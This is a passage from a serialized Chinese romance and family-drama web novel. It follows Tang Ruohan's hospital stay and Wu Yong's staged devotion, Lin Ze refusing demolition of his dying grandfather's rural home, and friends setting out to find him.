“如果不是吴先生及时叫救护车,现在后果不堪设想!” “唐总,您感觉一些了吗?” 王静凑过来,还没站稳,身体就已经噼里啪啦地说了一大堆。 唐若涵柳眉微蹙。 “吴庸?” “是啊,我拿着文件赶到的时候,吴先生正抱着您往外奔,他急得焦头烂额,我都被吓蒙了!” “吴先生用被子裹着您,眼睛里满是红血丝,看到救护车以后就跑了过去。” “周围的人都一片感动,几个小护士都感动坏了!” 王静认真地诉说,神情极为严肃。 这可是吴庸交代好的话,漏了一句都不行。 唐若涵看了一下周围,“他人呢?” “吴先生去主治医师办公室了,看到你一直没有醒,吴先生心急如焚,这会儿的功夫都去办公室好几趟了。” 把话说完。 王静往前凑了凑,压低声音说道:“唐总,吴先生对您可真好。” 唐若涵没说话,心中五味杂陈。 原来,是吴庸叫了救护车,自己才来到医院。 来不及回想刚才的状况,唐若涵再次看向王静,目光当中已经多了一丝平静。 “文件呢?拿来没有?” “拿来了,唐总现在就要签字?” 唐若涵点点头。 王静顺势将面前的一份合同打开,接着又递给了唐若涵签字笔。 看到甲方名称,唐若涵也跟着放下心来。 这份文件是之前审阅过的,没什么问题,只差自己的亲笔签名了。 现在。 唐若涵反倒有些庆幸,医生给扎点滴的手是左手,倘若真的扎在右手上,恐怕这字都没法签了。 草草写上几笔,唐若涵虚弱地说道:“把剩下的也拿过来吧,都是之前的那些吗?” “对,内容和条款都没有变动。” 王静汇报着。 几分钟后。 唐若涵已经将合同签好。 感觉喉咙有些干,将笔递给王静的那一刹那,唐若涵看了一下桌子上的水壶。 对面。 王静正低着头玩笔帽。 丝毫没有注意到她这细小的动作。 “王静,麻烦你给我倒杯水。” “哦,好的,唐总,您稍等。” 王静起身去倒水。 唐若涵望着她的背影,若有所思。 这个人在自己手下也有几年了,唐若涵自认为,王静对自己的一些习惯还是了解的,没成想,跟林泽比,到底还是差了一些。 唐若涵断定,如果这个时候林泽在,光是刚才的眼神,林泽就清楚她需要什么。 甚至。 根本不需要她去看水壶。 在这种情况下,林泽随时都会把水准备好。 温烫适宜。 王静也算是一个眼皮子活的。 但在照顾自己这一方面,跟林泽相比还是差了很多。 唐若涵思绪恍惚。 直到王静将水递过来的时候,这才缓过神。 对于刚才的那些想法,唐若涵也感觉奇怪。 怎么又想到林泽了? 现在。 她跟林泽之间,好像只剩下了那份马上就要完成的离婚证。 再有二十来天,如果没有特殊变动,离婚证会准时批下来。 到那时。 他们真的就再也没有半点关系了。 莫名的。 心突然沉了一下。 “唐总,有件事情,我不知道该不该说。” 王静咬咬嘴唇,脸上满是纠结。 唐若涵转头,“说吧。” “唐总对不起,我好像办了一件错事,跟您通完电话,我想着要到别墅,还得需要一段时间,我担心出意外,就给林泽打电话了。” “但是电话一直没有打通,后来他好不容易接了,他竟然不管这事儿。” “他跟我说,他不是医生,还说让我去找吴先生,唐总,他说的那些话,我听着都寒心。” “林泽怎么是这样的人啊,唐总,您平日里对他也不错,他怎么这么忘恩负义!” 王静说话的声音并不大,可语气当中满是厌恶。 见唐若涵不说话。 干脆又鼓起勇气,添油加醋地说了一番。 唐若涵的脸色越来越沉。 直到王静声音停止,这才开口。 “以后不要给林泽打电话了。” “啊?为什么,唐总,您不能继续放任他这种所作所为,他这不是白眼狼吗!” 王静挑着眉毛,脸上满是不可置信。 这时。 一阵脚步声传来。 “小涵,你醒了?太好了!醒了就好!” 吴庸声音紧张,几乎是小跑着来到床头。 还没站稳身体。 吴庸眼眶已经泛红。 第175章 粥和粥,真有不同。 吴庸刚一过来,王静似是不经意间站起身。 这样一来。 完美地腾出了一个位置。 “谢谢你们。” 虽然已经来到医院,也开始进行治疗。 可开口说话,唐若涵的嗓子依旧像刀片划过。 即便这样。 她还是对这两个人说了感谢的话。 吴庸心疼地制止。 “小涵,你现在还在生病,就不要说话了,有我在,你一切都不用担心。” “医生倒是说,只是平常的受凉感冒,按照常规治疗就行,可哪怕只是小感冒,我们也不能不在意。” “刚才我跟主治医师谈过了,一定要用最佳的治疗方案,必要时要进行专家会诊。” 唐若涵摆摆手,眉头皱得更紧。 “不用那么麻烦,我现在已经好多了。” “小病不能养,明天我们再做全面的身体检查。” 吴庸自顾自的说着,对于唐若涵的拒绝,仿佛并没有放在心上。 见他如此坚持,唐若涵目光当中闪过焦急之色。 最终,将头别向一旁。 跟吴庸说不通。 那就等到主治医生过来以后再谈。 “小涵,你为什么不说话了?你是不是在生我的气?别嫌我啰嗦,小病也不容忽视啊!” 吴庸再次凑过来。 但唐若涵却没有转过头。 病房里。 气氛一片尴尬。 看到眼下这副情形,王静急得都像热锅上的蚂蚁了。 吴庸已经将心意表现得淋漓尽致,可是唐若涵却无动于衷,这究竟是怎么回事? 此刻。 王静想帮忙,却无从下手。 刚想硬着头皮说话,唐若涵突然看向她这边。 “王静,你现在回公司,将合同的事情处理好,别耽误了正事。” 再次开口。 唐若涵的神情已经平静很多。 虽然没有了之前的雷厉风行,语气当中却带着毋庸置疑。 王静听闻,迅速点头。 “好的,唐总,那我先回去处理公司的事,您这边有什么事情随时给我打电话。” 唐若涵嗯了一声。 声音还没落下。 吴庸突然接上话茬。 “小涵,你先休息,我去送送王秘书。” “吴庸,”唐若涵将吴庸叫住,“你也走吧,我已经没什么事了。” “那怎么行,小涵,你等着我,我送走王秘书立刻就回来!” 吴庸的声音当中夹杂了一丝急躁。 悄悄地跟王静对了一眼。 两个人这才出去。 没等他们出门,唐若涵便疲惫地闭上眼睛。 没想到,这一次的感冒来得这么厉害。 现在。 一想到还有一大堆事情要处理,唐若涵便心急如焚。 眼下,她的心里只有一个念头,那便是早点回复。 …… “吴先生,怎么回事,唐总好像不太感动。” 王静一边说话一边看。 确定周围没有什么人,这才敢露出揣测的表情。 吴庸沉着脸,同样也是一头雾水。 “让你说的那些,都说了?” “都告诉唐总了,就是按照您吩咐的说的。”王静神情郑重,头点得像捣蒜一样。 听王静这样讲,吴庸心中更加起疑。 按道理说,在这种情况下,唐若涵早就应该感动得不得了了。 可她的表情怎么淡淡的? 到底哪里出了纰漏? 皱眉沉思片刻,吴庸脸上露出释然的表情。 “没事的,你去忙吧,唐总是太累了,所以才会心不在焉,回头有事我给你打电话。” 王静恍然大悟。 想想唐若涵烧得满脸通红的样子,对于吴庸的这一种说法,王静也深信不疑。 “好,那我走了,吴先生记得联系我。” 王静的声音很轻,目光当中满是柔情。 吴庸刚想转身。 王静突然上前一步,伸手帮着吴庸怔了一下领结。 “这样就好看多了,吴先生,我走了。” 说完这句,王静红着脸离开。 吴庸蒙圈。 王静要干嘛? 这可是医院,这么亲密的动作都敢做出来,她就不怕唐若涵看到? 眉宇间闪过一丝不悦,吴庸看了看四周。 还好周围没有人。 深吸一口气,吴庸迫不及待地走进病房。 唐若涵正在喝水,动作轻缓。 仅仅是抿了一小口,吴庸就已经看呆了。 那种苍白无力的病态感,恨不得让人立刻把她拥入怀中。 “小涵,慢一点。” 吴庸直立在病床前,随时等着照顾唐若涵。 喝些水以后,终于有了些精神。 “我生病,是王静告诉你的吧?” 抬头第一句话,唐若涵便面无表情地问了一句。 吴庸一怔,迅速摇头否定。 “小涵,你怎么会这么想?王静是你的秘书啊,她怎么可能跟我有联系?” “你高烧得厉害,听到叫的救护车过来,我就抱着你往外走,刚好在门口就看到王静了。” “等到你一切稳定下来,我才明白,王静是给你来送退烧药的。” “这也算是巧合吧。” 吴庸故作平静,话说得滴水不漏。 讲述这番过程的时候,眼睛时不时地看向唐若涵。 紧张的同时,他又有些窃喜。 唐若涵打听他跟王静,是不是担心自己看上王静? 她这是害怕自己喜欢上别的女人吗? 脑海当中闪过王静的影子,再看看面前的唐若涵,吴庸嘴角差一点扬起来。 王静姿色还可以,可怎么能跟唐若涵相比? 要把唐若涵比作仙女,王静给她提鞋都不配。 看上她?除非自己瞎了眼! 不过。 王静身上某些肉,倒是挺吸引人,也不知道摸一把会是什么感觉? 吴庸思绪有些偏。 唐若涵眉头微皱,略挑眉毛,“真的?” “当然是真的,小涵,你是不是还在生我的气?那天我确实太冲动了,我也很自责,所以这几天我一直在盛世豪庭附近,但我不敢见你。” “我想着等你哪天气消了,再求得你原谅。” 吴庸没有接着往下说。 眼下,是要给足唐若涵消化信息的时间的。 先构造出一个假象。 自己每天都在她别墅门口转悠,遇到王静还不是很正常的事情? 如此想下去,唐若涵必然不会怀疑。 而接下来的事情,真的如同吴庸所想,唐若涵眸子动了一下,说话的声音也轻了一些。 “今天的事情,谢谢你了。” “小涵,别说这么见外的话,在我的心里不光是爱人,而且还是亲人,是我这一辈子当中最重要的人。” 吴庸慷慨激昂。 唐若涵没说话。 话题好像就此打住。 “我有点饿了,能帮我带一份粥吗?” 身体好一些以后,唐若涵瞬间感觉到了饥饿感。 毕竟这几天一直没有好好吃过饭,再加上高烧刚退,唐若涵竟然迫切地想喝点粥。 吴庸一听,立刻挺直腰杆。 “我现在就去,小涵你等着,我马上就回来。” 说完。 迅速转身离开。 唐若涵幽幽叹了一口气,将水杯放到旁边的小几上。 眼皮已经不再像刚才那么沉,但还是不想动。 几分钟过后。 一个小护士走进来。 详细地询问了一下唐若涵现在的状况,又做了相关记录。 临走的时候。 小护士突然对着唐若涵笑了笑,声音当中满是羡慕。 “女士,您男朋友对您可真好,刚才他去了好几趟主治医师办公室。” “一会儿嘱咐我们说,不能把你的病情说得太重,怕你有压力。” “一会儿又要安排专家会诊。” “女士,您的男朋友真是一个贴心的人。” 唐若涵勉强地牵动了一下嘴角,“他不是……” “平常的时候,他不是这个样子的吧?有些男生就是这样,心爱的人一生病,整个人都慌了。” 没等唐若涵把话说完,小护士直接揽过了话茬。 唐若涵没再说话。 小护士安慰了几句以后,这才离开。 很快。 吴庸带了一份粥回来。 “小涵,我询问了一下,你现在这个状况最适合喝小米粥。” “医生说先吃些清淡的。” 吴庸说话的时候手也没闲着。 将粥送到唐若涵的面前,再次露出含情脉脉的表情。 唐若涵垂眸。 瞬间心中一紧。 这粥还真是……清淡。 上面飘着一层薄薄的汤,清的能看到下面的米粒。 上下两层。 完美分割开来。 如果不是吴庸特别说明,唐若涵几乎认不出眼前的东西是小米粥来。 在唐若涵的认知当中,小米粥是色泽金黄的,米香味扑鼻。 尤其是米粥上面的米油,光是看上两眼,就忍不住勾起人的食欲。 以前唐若涵不太在意。 可自从跟林泽住在一起以后,她所看到的小米粥,都是那个样子的。 可眼前…… 悄悄叹了一口气,唐若涵突然觉得不饿了。 “小涵,怎么了?对了,我刚才回来的匆忙忘记给你买小菜了,要不再弄点腌黄瓜去?” “不用,谢谢!” 唐若涵从喉咙里清晰地挤出四个字,无语至极。 “那我喂你?” 唐若涵再次摇头。 抬眼重新看向吴庸,唐若涵怔住。 现在,他那略有些笨拙的样子,跟记忆当中大学时的青涩的脸庞渐渐重叠。 记得第一次送自己花,吴庸也是这样手忙脚乱。 …… “爷爷,您休息一会儿,我先晾上被子,就过来陪您。” 林泽回头,看了一眼阴凉处的林振山。 第176章 凡是证件都带上,准没错! 大树下。 林振山正坐在躺椅上,眼睛一直望着林泽。 看着他擦干净晾衣绳,又麻利地将新买的被褥晾好,林振山心中一阵释然。 时间过得真快。 眨眼的功夫,林泽都变成大人了。 以前那个总跟在他身后的小娃,现在已经能够独当一面了。 今天的事情并不多,林泽安排得很恰当。 扶着自己坐到大树底下,喝了水,他就开始忙活。 现在,被褥都已经晾好。 他过来打开保温桶。 “爷爷,喝点粥吧,这粥焖了两个小时了,又香又糯。” “我自己来。” 林振山伸出手,林泽却没有把碗递给他,而是继续说道:“反正我也没有什么事,我喂你吧。” 林振山望着林泽,目光当中满是慈爱。 明知道时间已经不多了,可每次看到林泽,林振山还是有浓重的舍不得。 这几年,也苦了这孩子了。 林振山鼻子发酸,一口一口地喝着林泽送过来的粥。 知道自己胃口不好,林泽每次熬粥都是又软又糯。 小半碗粥喝下去,林振山摇了摇头。 “小泽,屋子收拾差不多了,一会儿你就回去,别让若涵着急。” “爷爷能行,你别担心。” “回去以后……你们好好过日子。” 林振山断断续续的话语当中满是嘱托。 林泽将碗放到一旁,“爷爷,若涵知道我要在家里住一段时间,我跟她说好了。” 离婚的事情,林泽没有告诉林振山。 所以现在提到唐若涵,林泽说出早就已经找好的借口。 “那工作呢?总不能一直耽误。” “我有年假,休息这段时间不扣工资。” 林泽的话说得极其自然。 林振山似乎也相信了。 这时。 林泽看向院子东边一小块菜畦,“爷爷,等你身体好点了,我们还在那边种上菜,等种上白菜,冬天就能吃了。” 林振山脸上露出笑意。 “要种白菜,还得再等等,早了苗长不好。” 望着院子里熟悉的一切,林振山的状态也好了很多。 两个人正说着话。 突然。 一阵脚步声传来。 门口处,两个拿着夹板的年轻人先是朝院子里看了看,接着快步走进来。 “请问,这是林振山家吗?” 一个戴着眼镜的年轻人望着林泽,客气地询问。 林泽起身,朝前走了两步。 “对,林振山是我爷爷,你们是……” “我们是镇政府农村旧房改造部门的,我们是协调人,这次过来,主要是向你们讲一下,关于农村旧房改造的相关政策。” 那人顿了顿,扶了一下眼睛,随后将目光放在躺椅上的林振山身上。 “这位是林振山吧?户主?” “我是,”林振山说着想起身,却发现还是有些力不从心,“对不住啊,我的身体……” “没事没事,老人家您就这样躺着,我们过来是向你们介绍政策的,您听着就好。” 戴眼镜的工作人员很热情。 另一个个子矮一点的一直在观察周围的情形。 林泽搬来两把凳子。 两个人也没有过多的客气,直接坐在了林振山的对面。 戴眼镜的工作人员自我介绍。 “我姓李,你们可以叫我小李,这位是我的同事赵松林,你们叫他小赵就行。” “关于旧屋改造,我们两个分包了四个村子,其中就有你们的房屋。” “之前来过几趟,但是家里没有人,我们还想着把这通知书贴上去,没想到今天遇上了。” 说着。 小李递出手里的一张纸。 标头上清楚地印着“旧屋改造到访不遇通知书”几个字。 话说到这里,林泽和林振山都明白了面前两个人的来意。 镇政府的工作人员来讲政策的。 见林泽和林振山的脸上没有排斥的神情,赵松林清了清嗓子,开口直奔主题。 “关于上头的旧屋改造政策,主要分两种,一种是危房改造,另外一种是拆旧建新。” “根据情况不同,上面补助的金额也不一样,最高的能达到10万块钱。” “但是,这个得及时申请,还得需要审批流程。” “像你们这种状况,需要准备户口本,身份证,还有危房鉴定报告,宅基地证也要拿上。” 担心林振山记不住,赵松林干脆总结了一下。 “你就记住,但凡是证件,全部都拿上就行了,肯定错不了。” 林振山转头看向林泽。 目光当中满是询问。 户口本上他还是户主,但是这房子,他已经给林泽了。 具体要怎么做,还得听林泽的。 “两位同志,这件事情……我得问问小泽,他是我的孙子。” 林振山努力打起精神,可这句话说出来的时候还是有些磕绊。 赵松林一听,眉毛立刻皱起来。 “老人家,你是户主,这房子拆不拆?建不建,得你说了算,你问你的孙子干什么,他年轻也不懂啊!” “不是,这房子……” “我知道你的意思了,你怕你孙子不同意是不是,放心,我们就是专门来做工作的,只要你同意,其他无关的人,再有任何意见也得保留!” 最后一句话,赵松林特意提高了声音,说完还专门看了林泽一眼。 林泽伸手捋了捋林振山的胸口,这才开口说道:“两位,你们介绍的政策,我们都已经听懂了,但是这房子,我们不打算拆。” “什么?!” 赵松林当即扬起脖子,声音陡然变高。 “为什么?你看看,你们这房子还能住几年?趁着现在上头有政策有补助,你们还不赶紧拆了?” “我跟你们讲,现在是政策是最优惠的时候,过了这段时间,肯定会有折扣。” “就你们这房子,现在是可以置换的,就是说,只要你们同意,立刻就能搬到新房子里去,这省了多少事儿?” “错过了这个村,可就没有这个店了,你们可以好好想想!” 赵松林的声音几乎是吼出来的,大有一副要跟人吵架的样子。 林泽沉默不语,嘴唇紧抿。 旁边。 自称是小李的工作人员看到以后,笑着接上话茬。 “二位见谅,小赵是个急性子,就想快点把事情办成。” “咱们分包到片,实际上也是担有责任的。” “马上就要到雨季,真要出什么事情,我们也没办法向上头交代,希望你们能理解。” 跟赵松林的态度不同,小李说起话来慢悠悠的。 可尽管如此,林泽脸上的神情依旧没有任何改变。 见林泽坚决,林振山也没有开口。 一直等到他们不再说话,林泽再次说出决定。 “谢谢你们的好意,我们的房子虽然老旧了一些,但是,再住上几年是没问题的,上头有政策补助确实是好事,但我们不想拆,也不想搬走。” 此话一出。 全场寂静。 赵松林和小李表情几乎僵在脸上。 尤其是赵松林,拿着夹板的手,似乎也跟着哆嗦了一下。 良久。 赵松林才疑惑地问出一番。 “不是,为什么呀?这么好的事情放在面前,有钱你们都不要啊?而且还能住新房子,你为什么要守着这破房子呢?” 一连串的问题问出来,赵松林再次抬头盯着林振山。 “我听小泽的。” 听林振山这样讲,赵松林一下子像泄了气的皮球。 瞬间蔫了。 老爷子没有主见,孙子坚决不拆。 这事……有些难办。 想起之前准备好的说辞,赵松林只好再次跟林振山做工作。 “老人家,咱都是苦了大半辈子的人了,该享福的时候也得想开些,你看你们村里老李头,还有张盼来家,现在都搬走了。” “最主要的是,住进楼房以后,生活上会方便很多。” “就拿现在来说吧,您的岁数越来越大,以后去个厕所还得跑那么远,多不方便。” “现在的年轻人都奔着自己的小日子过,咱们也得为自己着想一下。” 最后这句,是说给林泽听的。 谁都能听得出来。 这话里头也含有激将的意思。 一开始。 林泽平静的听他们讲着。 可后来看到眼前这种情形,林泽眉头突然皱起来。 看了一下手机上的时间,林泽上前一步开口。 “不好意思,我爷爷身体不太好,现在需要休息了,房子的事情,我们已经给出答案,如果没有其他的事,我们就不招待二位了。” 林泽的话说得很平静,客气当中也夹杂了一丝逐客的意思。 说完。 林泽弯腰将林振山的手搭在脖子上,慢慢地扶起林振山,缓缓走向老屋。 赵松林瞪圆眼睛,却也只能干着急。 来的时候,他们就已经做好了心理准备,知道林泽不好对付。 可没想到,这还没有说几句话就遭了闭门羹。 头一次来就这样,接下来,这话还该怎么开口? 眼看着林泽跟林振山进屋。 赵松林这才小声地嘀咕了一句。 “真是个犟种!一个破房子,还当金山银山守着呀!” “行了,少说两句,别让人听到,”紧张地看了一下周围,小李再次压低声音,“先别慌,一会咱们打电话问问。” “行,那先走吧!” 两个人相互看了一眼,最后,拿着夹板离开。 屋内。 扶着林振山躺到床上,林泽的神情也变得柔和起来。 “爷爷,这房子,我们不卖,也不拆,行吗?” “房子都过户给你了,爷爷听你的,你说不拆,就不拆。” 第177章 南希说,去找林泽! 林泽在后背放了个柔软的枕头。 这样一来。 不管是醒着还是休息,身体都能轻松很多。 帮着林振山盖好薄毯,林泽像往常一样守在床头。 房子的事情,他早就想好了。 既然爷爷让自己决定,他也想让爷爷知道心里的想法。 眼前的房子虽然破旧,可却是他们心中无法替代跟割舍的牵挂。 所以,不能动。 爷爷舍不得,他也舍不得。 “爷爷,这是咱们的家,咱们哪儿也不去。” 林振山的目光一直停在林泽脸上。 听他这样讲,眼睛又朝着门口的方向看了看。 林泽的心思,他怎么能不知道? “你这孩子重感情,爷爷清楚,”说到这里,林振山顿了一下,“这么多年,洛洛都没有消息,万一哪天她回来,房子不拆,还能找到这个家……” 剩下的话,林振山没有接着往下说。 希望虽然渺茫,但总算是个念想。 只是,当初孩子被带走的时候那么小,她能不能记得这里啊? 林泽心中五味杂陈。 记忆当中,那张稚嫩的脸和清脆的声音一直在脑海徘徊。 …… 吃完医院里的营养餐。 唐若涵终于体会到了什么叫做正常。 至少,肚子不饿了。 但滋味,唐若涵不想评价。 “小涵,你安心休息,刚才你说嗓子不舒服,我让人做了山药粳米胡萝卜粥,等你醒来的时候就能喝到。” “没有办法亲自给你做饭,那就让我在这里守着你吧。” “不管什么时候,只要你醒来就能看到我。” 吴庸一脸深情,默默地望着唐若涵。 刚才。 唐若涵以嗓子不舒服为由不说话。 现在又说身体好一些了,让他离开。 这话里头的意思,吴庸不是没有听出来。 只是,现在他不能走。 唐若涵正在生病,这是表现的好机会。 倘若让林泽趁虚而入,那之前做的所有的努力岂不都白费了? 唐若涵转过头,柳眉微蹙。 “你胳膊上还有伤,早点回去吧。” “没事,只要不做剧烈运动,感觉不到疼,倒是你这样子让我心疼。” 唐若涵摆摆手,头又往枕头里缩了缩。 退烧以后的疲惫感,让她没有半丝力气,现在眼皮又开始发沉了。 “吴庸,走吧,我要休息一会儿。” 说着。 唐若涵缓缓闭上眼睛。 身体逐渐放松,手脚也不像之前那样冰冷。 暖意渐渐传来,唐若涵沉沉睡去。 等到再次醒来时。 已经是次日清晨。 面前。 吴庸趴在床头,已经睡着。 唐若涵眼眸骤然收紧! 吴庸……他一直守在这里吗? 墙上钟表指向七点。 他……在这里守了一夜? “吴庸。” 唐若涵略显嘶哑的声音传出。 吴庸抬起头,脸上瞬间露出不好意思的神情。 “小涵,你醒了?不好意思,我睡着了。” “没事,不是说让你回去吗,你怎么没走?” 唐若涵伸手抚了一下额头,脸上闪过一丝歉意。 吴庸笑了。 “你生病,我怎么可能离开,再说就算走了,我也不放心啊!” 说完,吴庸起身伸了个懒腰。 “我去洗把脸,一会儿给你弄饭吃。” 吴庸的话说得很自然,就好像他们两个人是老夫老妻一般。 唐若涵盯着吴庸的背影……愣住。 几分钟过后,吴庸去取粥。 唐若涵在医生查完房以后,走出病房。 烧退了,又养足了精神。 那些残留的小症状,已经不足为怪。 唐若涵慢慢往前走,一直在寻找记忆当中的病房。 来到之前的走廊,突然意识到自己两手空空。 这样贸然过去,好像有些不合适。 不管怎么说,林振山也是长辈,而且在医院住了这么长时间,空手探望确实不礼貌。 但是…… “算了,不管那么多了,大不了以后多来几次。” 虽然跟林泽已经递交了离婚申请,可想到记忆中的那个老人,唐若涵心中依旧有所触动。 三年的时间,老人也跟着受了不少罪。 脑海当中冒出这个想法时,唐若涵也有些不可置信。 甚至疑惑,自己以前为什么没有想到这些? “这位女士,您需要帮助吗?” 听着身后的声音,唐若涵猛然回头。 一位医护人员正微笑着望着她。 唐若涵缓过神,赶紧开口,“没事,我来看望一个病人。” 医护人员一怔,重新打量起唐若涵来。 如此看望病人,这也太洒脱了,估计真的只是……看看。 医护人员没有多问,点头以后便推开面前的房门,唐若涵也跟着走进去。 随后,两个人同时愣住。 “这里面的患者呢?” “女士,您还有事吗?” 二人异口同声,脸上都是诧异之色。 最后,唐若涵伸手直指病床,声音突然变得慌张起来。 “人呢?是出院了还是……怎么回事?” 护士顺着唐若涵的手指看去,随即恍然大悟。 “您要看的是那位姓林的老人家吧?昨天出院了,估计是不行了。” “老爷子也遭罪了,最近这几天,瘦得都不成形了,换做是平常人家,早就不治疗了。” “也多亏了林泽孝顺,不然,老爷子坚持不到这个时候。” 唐若涵一惊。 “你认识林泽?” “认识啊,我们这边的人没有不认识他的,小伙子踏实稳重,心肠又好,真是个好人。” 护士说完开始整理病床。 唐若涵的心一点一点地往下沉。 林振山出院了。 这也就意味着,他剩下的时间并没有几天了。 可是。 越是这个时候,越要在医院才对啊。 毕竟大城市医疗设备先进,医护人员的经验也更加丰富,林泽怎么会让林振山出院呢? 唐若涵眉头紧皱,随即转身。 一定是哪里出了问题! 一定要问个清楚! 说不定,是林泽身上的钱不够了,不得已才带着林振山出院。 如果真是那样,她不可能袖手旁观。 唐若涵加快脚步,直奔主治医师办公室。 可刚到门口,突然又怔在原地。 办公室的门半开着。 坐在凳子上的那个身影,好像是……南希! 唐若涵往后退了一步,却没有离开。 仿佛在等着那身影转过来。 “安医生,你说他们昨天就走了?像这种情况,医院能放人吗?” 张军的话刚说出来,接着又急忙摆手。 “不是,我话说得有些偏啊,您别误会,我的意思是,在这种情况下,他们出院合适吗?” 在公安局待久了,一到正式场合,全都是询问记录,所以,张军说话的方式受到了影响。 刚才,他就是想关切地问问,可这话说出来以后,好像医院逮着人不放似的。 安然放下病历,伸手扶了一下眼镜框。 “老人家早就想走了,我们这样做也是尊重患者的想法,在此之前,林泽也给老人家做过思想工作,他们是商量好的。” 张军眨巴眼睛,林泽想带着林振山回老家,这件事情查清楚。 可是,这么快,倒是出乎他的意料。 “那,他们有说什么时候回来吗?” 张军继续询问。 安然精致的面孔上闪过一丝疑惑。 “你没有问吗?医院这边,只做出院记录,不做预先住院记录的。” “我这不是电话打不通吗,急死人了,我真怕老林出什么事,安医生,你还有林泽其他的联系方式吗?” 张军神情焦灼,声音陡然拔高。 如果换做平常,林泽的电话打不通也就算了,大不了一会儿再打。 可是。 现在,他还带着一个病重的老人,这情况就完全不一样了! 对面。 安然摇摇头,神情也跟着紧张起来。 “没有,病历上的联系方式,只有林泽的手机号。” 张军听闻,一拍大腿。 “你说这个老林,这不纯粹让人着急吗,万一老爷子有什么事儿,他一个人能处理得了吗?” 说完。 张军倒吸一口凉气。 “草!完了!” “不会是老爷子出什么事儿了,老林想不开吧,所以……把手机都关了!” “哐啷!” 张军起身的同时。 身后的凳子一下子倒在地上。 这时。 南希焦急的声音也传出来。 “张军,你别瞎说,这不是还没有看到林泽吗,别自己吓唬自己。” 嘴上说着劝慰张军的话。 可实际上。 南希的小手已经握成一团。 就在说话的功夫,手心里都冒出汗水来。 林泽……不会真出什么事了吧? 脑海当中闪过这个念头,南希又慌乱地拿出手机,再次拨通那个熟悉的电话号码。 “您好,您所拨打的电话已关机,如您是……” 熟悉的电子音传出。 南希心里咯噔一下子,整个人都慌了。 “张军,电话还是关机的状态,要不咱们去他的老家吧,去找林泽,行不行?” 南希眼眶泛红,声音带着哭腔。 此刻。 无助得像个孩子。 第178章 那个味儿……是什么味儿? 相处这几天,南希确切地意识到一件事情。 那便是林振山对林泽的重要性。 刚才。 安医生讲了林振山的病情,南希的心就一直揪着。 现在依旧联系不上林泽,她心中那种不好的预感跟着越来越浓。 倘若林振山真的出事,那林泽的天岂不是塌了一半? 林泽本身就没有多少可来往的亲人,这个时候倘若他们也不在身边,那林泽怎么面对? 南希越想越慌。 没等张军开口,直接站起身,“走吧,我们现在就去!” “行!”张军当即答应,回头又对着安然说了一句,“安医生,谢谢啊,您先忙着,那我们先走了。” 安然神情凝重地点了点头。 门外。 唐若涵眼眸收紧,睫毛忽地一颤。 林泽真的带着林振山住院,回老家去了? 刚才从小护士嘴里得知这个消息,唐若涵还有些不相信,现在虽然没有进主治医师办公室,可话,她却听了个真真切切。 正在犹豫之际。 南希突然走出来。 许是着急,南希竟然没有朝旁边的看,出门以后大步向前。 可后面的张军,却停下脚步。 “唐……若涵,你怎么在这儿?” 问话的时候,张军停了一下。 “唐总”这两个字,他实在叫不出口。 唐若涵一怔,随即脸上恢复往日的神情。 “我来看林爷爷,刚刚听你们说好像要去老家,我也去。” 前一刻。 唐若涵还在思索着这话该怎么说出口。 可看到张军的那一刹那,干脆开门见山,张口便说出了目的。 “什么?” 张军愣住。 这时。 已经走了几步的南希也回过头。 南希精致的小脸上,立刻写满了不可置信。 缓过神后,张军眉头皱成疙瘩。 他们跟林泽的关系自然不用多说,现在去林泽的老家,也很正常。 可是带上林泽的前妻,这算怎么回事儿? “我看,你就别去了。” 张军说话的声音不大,语气也是完全肯定,丝毫没有商量的意思。 唐若涵仰起头,声音突然变得郑重起来。 “张军,我知道你对我有意见,但是一码归一码。” “现在,我跟林泽虽然提交了离婚申请,但是还有二十多天的冷静期,从法律层面来讲,我们现在还属于合法夫妻。” “所以,我去看望老人家,并没有什么不妥。” 说到这里,唐若涵顿了顿。 “不管我跟林泽之间发生过什么,既然联系不上他,我也挺担心的,我也希望他平平安安的。” 唐若涵一脸诚恳。 张军反倒不知道该怎么拒绝了。 不过,对于唐若涵刚才说的那些,他还是有些不确定。 无奈之下,只好看向南希。 “南希,提交了离婚申请,冷静期还没有过,这还算是合法夫妻吗?法律上承认吗?” 南希无语至极。 小嘴瞬间撅起来,恨不得当场跺脚。 这个张军,还真是实在! 唐若涵说几句话,他就顺着人家的思路往下想了。 这会儿,哪里是讨论法律上承认与否的问题? 现在,是唐若涵要跟着他们去林泽的老家! 这才是关键! “是不是啊?你不是懂法律吗?” 张军还在追问。 南希气鼓鼓地来了一句。 “走吧,别耽误时间了,她要去就去吧!” 话音未落,张军仰了仰脖子。 “那行,咱们就别耽误着了,快点过去!” “等一等!” 张军刚想迈开脚步,唐若涵的声音再次传来。 “我现在开车不方便,我要跟你们坐一辆车。” 张军:“……” …… 几分钟后。 张军坐在驾驶座上,熟练地发动汽车。 唐若涵和南希都坐在后排。 两个人分别选了靠窗的位置,中间隔了一段距离。 三个人都没说话。 车里的气氛有些……尴尬。 唐若涵面色苍白,嘴唇不带一点血色,看起来无比憔悴。 虽然退了烧,可看上去还是欠些精神。 南希关心林泽的状况,眼睛始终看向窗外。 此刻。 南希恨不得马上看到林泽。 最郁闷的莫过于张军了。 以前开车带着林泽,虽然只有两个人,可车里却热热闹闹的。 天南地北,天马行空。 两个人聊得不亦乐乎。 可现在。 车里明明有三个人,却一点声响都没有。 两个女孩子的脸沉得能滴出水来,他也只能将目光看向前方。 一想到联系不上林泽,猛地又将油门踩到底。 …… “你说什么,你敢不敢再说一遍?信不信我现在就投诉你!” “在你们的眼皮子底下,眨眼的功夫,人就不见了,你说不知道去哪儿了,你敢对你说的话负责吗?” “你叫什么,告诉我你工号!” 吴庸的声音一声大过一声。 最后,眼珠子都要瞪出来。 小护士被骂得劈头盖脸,哆哆嗦嗦地躲在一旁,使劲地咬着嘴唇。 可吴庸依旧没有要放弃的意思。 “调监控,一个小时之内的影像全都调出来,必须要弄清楚人去了哪里!” 恼火的说完。 吴庸再次看向周围。 直到现在,他都不愿意相信眼下发生的事情。 好好的,人怎么就没了? 他不过就是出去买了一趟饭,唐若涵就从医院蒸发了? 偏偏眼前的小护士什么都说不出来! 如此一想,吴庸更加来气。 “站在那里干什么?赶紧去调监控!” “这位先生,调监控……我没有这个权利,你得写……书面申请。” “什么!” 吴庸的牙齿咬得咯咯响,握紧拳头,使劲一挥胳膊。 突然又倒吸一口凉气。 妈的! 一着急,忘记手腕处的肌肉拉伤了! 撕心裂肺的疼痛传来,吴庸感觉脑门上都在冒汗。 努力平复了一下情绪,吴庸恨恨地从喉咙里挤出一句话。 “我不写申请,你马上给我调监控!” 